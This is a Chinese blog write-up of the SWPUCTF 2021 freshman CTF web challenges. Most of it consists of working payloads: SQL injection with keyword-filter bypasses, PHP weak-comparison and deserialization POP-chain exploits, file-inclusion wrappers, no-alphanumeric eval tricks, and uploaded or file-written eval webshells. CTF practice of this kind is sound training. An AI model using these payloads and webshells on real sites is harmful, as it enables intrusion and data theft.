SWPUCTF 2021 新生赛-WEB部分wp

已于 2023-09-25 21:38:30 修改
阅读量751 收藏 1
点赞数 1
文章标签： web安全 linux javascript
于 2023-09-23 15:04:26 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_74606212/article/details/133204271
版权

目录

gift_F12

jicao

easy_md5

easy_sql

include

easyrce

Do_you_know_http

ez_unserialize

easyupload1.0

easyupload2.0

easyupload3.0

no_wakeup

PseudoProtocols

error

hardrce

pop

sql

finalrce

hardrce_3

gift_F12

查看源代码即可

jicao

源代码：

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

 json绕过主要思路还是弱类型绕过

在两个等号时会转化成同一类型再进行比较，直接构造一个0就可以相等了

 payload：

GET:
?json={"x":0}
POST:
id=wllmNB

easy_md5

源代码：

<?php 
 highlight_file(__FILE__);
 include 'flag2.php';
 
if (isset($_GET['name']) && isset($_POST['password'])){
    $name = $_GET['name'];
    $password = $_POST['password'];
    if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }
    else {
        echo "wrong!";
    }
 
}
else {
    echo 'wrong!';
}
?>

MD5的弱类型比较

payload：

GET:
?name=240610708

POST:
password=QLTHNDT

easy_sql

杰哥，彻底疯狂！！！

看一下源代码

发现title有点不对劲

先查看一下字段列数

?wllm=-1' order by 3--+
?wllm=-1' order by 4--+

查看回显

?wllm=-1' union select 1,2,3--+

查看数据库名

?wllm=-1' union select 1,2,database()--+

 查看表名

?wllm=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'test_db' ),3 --+

查看对应表的列名

?wllm=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'test_db' and table_name='test_tb' ),3 --+

查看flag

?wllm=-1' union select 1,(select group_concat(concat_ws(0x7e,flag))from test_tb),3 --+

include

那就传一个

文件包含

payload：

?file=php://filter/convert.base64-encode/resource=flag.php

base64解密

easyrce

浅试一下

?url=system('ls /');

?url=system('cat /f*');

Do_you_know_http

有点懵，抓个包试试

将User-Agent修改为WLLM，得到地址a.php,访问一下

 修改X-Forwarded-For: 127.0.0.1即可

ez_unserialize

woc，原（可惜我已经有胡桃了）

源代码：

 <?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?>

payload：

<?php
class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="admin";
        $this->passwd = "ctf";
    }
}
$a=new wllm();
$b=serialize($a);
echo $b;
?> 

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

easyupload1.0

抓包

修改Content-Type

连接蚁剑 

 蚁剑上面的答案有点问题

这里我们直接post传参读phpinfo找flag

easyupload2.0

提交一句话木马

修改Content-Type和php后缀为phtml绕过

 蚁剑连接（别忘把是upload）

 拿到flag

easyupload3.0

先传一个.htaccess

<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>

修改Content-Type

 然后在将一句话木马的php后缀改为jpg上传

a.jpg

GIF89a
<?=eval($_POST['1']);?>

post传参1=phpinfo(); 

拿到flag

no_wakeup

woc，又是原

 

与前文中ez_unserialize方法相似，不过这里要绕过_wakeup()

修改反序列化串的对象属性个数（一般大于原个数），绕过wakeup函数

payload：

<?php
class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="admin";
            $this->passwd ="wllm";
        }
}
$a=new HaHaHa();
$b=serialize($a);
$b = str_replace(':2:', ':3:',$b); 
echo $b;  
?>


?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

PseudoProtocols

文件包含

base64解密

 

payload：

?a=data://text/plain;base64,SSB3YW50IGZsYWc=
SSB3YW50IGZsYWc=是I want flag的base64编码

error

爆破数据库

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #

爆破数据表

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test_db'),0x7e),1) #

 爆破列

1' and updatexml(1,concat(0x7e,substr((select flag from test_tb),1,31),0x7e),1)--+
1' and updatexml(1,concat(0x7e,substr((select flag from test_tb),20,50),0x7e),1)--+

很奇怪得抓包才能flag，两个结合即是flag

hardrce

取反过滤：取反过滤是先将命令取反，然后对其进行url编码最后在上传时再一次进行取反。

取反过滤可以绕过preg_match()过滤的所有字符和数字。

取反脚本

<?php
echo urlencode(~'取反内容');
?> 

获取取反结果后在url注入栏输入

(~取反结果1)(~取反结果2); 

这段代码中正则过滤了所有字母和一些符号，但‘~’未被过滤。我们可以用取反过滤的方法来查看文件。首先我们要使用命令system(ls /)查看目录

我们对system 和 (ls /) 发别取反

payload：

?wllm=(~%8C%86%8C%8B%9A%92)(~%D7%93%8C%DF%D0%D6);

system和(cat /flllllaaaaaaggggggg)

payload：

?wllm=(~%8C%86%8C%8B%9A%92)(~%D7%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98%D6);

pop

反序列化

源代码：

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

 payload：

<?php
 
class w44m{
 
    private $admin = 'w44m';
    protected $passwd = '08067';
 
}
 
class w22m{
    public $w00m;
}
 
class w33m{
    public $w00m;
    public $w22m;
 
}
# w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
$a = new w22m();
$b = new w33m();
$c = new w44m();
# 入口
$a->w00m=$b;
# 链子
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));#用url编码是因为protected类的变量有不可见字符
?>
 
?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

sql

 看起来跟上文中easy_sql相似

先试一试

好吧不一样，不能偷懒，我们重新开始

 这里借鉴[SWPUCTF 2021 新生赛]sql_ha0cker的博客-CSDN博客​​​​​​

因为实在没有思路了

过滤了

update
AND
DELETE
UPDATE
insert
updatexml
length 
delete
right
extractvalue
REVERSE
sys schemma
+
=
--+
left
handler
substring
rand()
LEFT
anandd
OUTFILE
INTO
'1'='1'

发现=和空格都被过滤了

于是有payload：

爆破字段（用%23代替#,/**/代替空格）

?wllm=-1'/**/order/**/by/**/4%23

爆破数据库

?wllm=-1'/**/union/**/select/**/1,database(),3%23

 爆破数据表（用like代替=）

?wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'),3%23

 爆破列名

?wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'),3%23

爆破flag

?wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(concat_ws(0x7e,flag))from/**/LTLT_flag),3%23

字段的输出长度被限制，要截取字符串。

而left，right，substr，reverse关键字被过滤，可用mid。

?wllm=-1'/**/union/**/select/**/1,mid(flag,10,40),3/**/from/**/LTLT_flag%23

?wllm=-1'/**/union/**/select/**/1,mid(flag,25,50),3/**/from/**/LTLT_flag%23

 把flag拼接即可

finalrce

源代码：

 <?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
}

过滤了一堆东西

没有思路了，看了看大佬们的wp

这里用到的是linux里的tee命令，构造payload，由于ls正则表达被过滤，所以我们还需要绕过preg_match

?url=l\s / | tee 1.txt

tee命令
这里只写在本题中用到的方法

tee的功能是从标准输入读取，再写入标准输出和文件。

用法：tee [OPTION]… [FILE]…

然后就是访问flag

?url=tac /flllll\aaaaaaggggggg | tee 2.txt

拿到flag

?file=php://filter/convert.base64-encode/resource=flag.php

payload：

?file=php://filter/read=convert.base64-encode/resource=flag

base64解码

hardrce_3

源代码：

<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\^','\~','\|'];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("小伙子只会异或和取反？不好意思哦LTLT说不能用！！");
    }}
if(preg_match('/[a-zA-Z0-9]/is',$wllm))
{
    die("Ra'sAlGhul说用字母数字是没有灵魂的！");
}
echo "NoVic4说：不错哦小伙子，可你能拿到flag吗？";
eval($wllm);
}
else
{
    echo "蔡总说：注意审题！！！";
}
?>

与上道hard_rce相比，这道题不让使用~，|，^和空格了。

所以这个题用大佬们的自增。

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

这是固定格式构造出来的 assert($_POST[_]);

然后post传入 _=phpinfo();

使用时需要url编码.
%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B

phpinfo中没有找到flag

发现system,exec,shell_exec,popen,proc_open,passthru被禁用 .

但是可以用file_put_contents(,)

file_put_contents函数 第一个参数是文件名，第二个参数是内容。

所以 构造:

 _=file_put_contents("1.php","<?php eval(\$_POST['1']); ?>");

传入一句话木马（$前面要加一个\号转义）

然后访问/1.php，密码1蚁剑连接。

orzw
关注
[SWPUCTF 2021 新生赛]sql - 联合注入
oZuoShen123的博客
10-07 792
Your Login name:id,flag —— 这里复习了一下任意匹配字符，一开始都以为不用加%，差点忘记了。Your Login name:LTLT_flag,users —— 得到LTLT_flag。1、fuzz看哪些关键字被过滤：空格、substr、=被过滤。这题相比于参考文章的题目多了waf过滤。首先，仍然是网站标题提示参数是wllm。
[SWPUCTF 2021 新生赛]gift_F12
qq_35881369的博客
05-25 605
[SWPUCTF 2021 新生赛]gift_F12 黑客入门
[SWPUCTF 2021 新生赛]
snowlyzz的博客
09-11 1606
。。
[SWPUCTF 2021 新生赛] ez_unserialize
Welcome To Myon'Blog !
07-05 2392
链尾（就是最终我们想要利用的地方），在echo $flag 并且include了flag.php 往上看，发现只需要满足 再往上看，发现执行这条语句我们需要触发__destruct()函数 __destruct是析构函数，会在对象的所有引用被删除或者当对象被显式销毁时自动执行，比如new完一个对象，当创建完成之后就不引用了，如果有赋值指向就会立马丢弃，触发destruct函数。 这里还有一个__construct()构造函数，它是在实例化一个对象（即new时）会自动调用。
[SWPUCTF 2021 新生赛]ez_unserialize
最新发布
2301_79210256的博客
09-27 236
分析一下代码，error_reporting(0) 关闭了错误提醒 show_source("cl45s.php")显示当前文件源码，class wllm 定义了两个公共属性admin和passwd，以及一个构造函数_construct和一个析构函数_destruct()，定义了admin的初始值user和passwd的初始值123456。运行得到O:4:"wllm":2:{s:5:"admin";
[SWPUCTF 2021 新生赛]hardrce_3
m0_70819573的博客
03-12 1590
disabled_function禁用了很多函数（system,exec等)，但可以用file_put_contents函数绕过。逻辑本身不是很复杂，就是不准异或取反，且不能有字母数字，所以考虑用自增。1.打开环境，审计代码。
[SWPUCTF 2021 新生赛]ez_unserialize-------WP
pythllc的博客
10-22 320
Robots 协议（也称为爬虫协议、机器人协议等）的全称是 “网络爬虫排除标准”（Robots Exclusion Protocol），网站通过 Robots 协议告诉搜索引擎哪些页面可抓，哪些页面不能抓。复制源码，把不需要的部分注释掉，再补充序列化的代码，将admin和passwd的值改为触发if条件的值，即可得到payload。3、看到可疑的php文件，访问一下，得到源码，下面就是代码审计了。当然也可以直接用御剑扫后台，这里的flag.php进不去。发现disallow，说明应该和robots有关。
NSSCTF-SWPUCTF 2021 新生赛-web-wp
F1rstb100d
09-19 803
NSSCTF-SWPUCTF 2021 新生赛-web-wp
【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列（WEB篇）
jameshuangchuan的博客
08-08 3164
此处主要在NSSCTF平台（）上开展刷题。
CTF笔记 [SWPUCTF 2021 新生赛]pop
qq_51248658的博客
10-28 3065
这一类题目比较考验对一段代码的逻辑方面的理解，通过利用魔数方法进行互相调用，形成一条链子，利用这条链子将对象联系起来去拿flag。
虹润牌19--HR-WP-HZ单屏工频周波表技术手册
HR-WP-AC40、AC80、AC90系列作为该系列的一部分，能够接受不同的输入信号。对于模拟量输入，仪表可以处理交流0～600V的电压，超过600V时需通过电压互感器将输入转换为满量程为100V的电压。同样，对于电流输入，它能...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值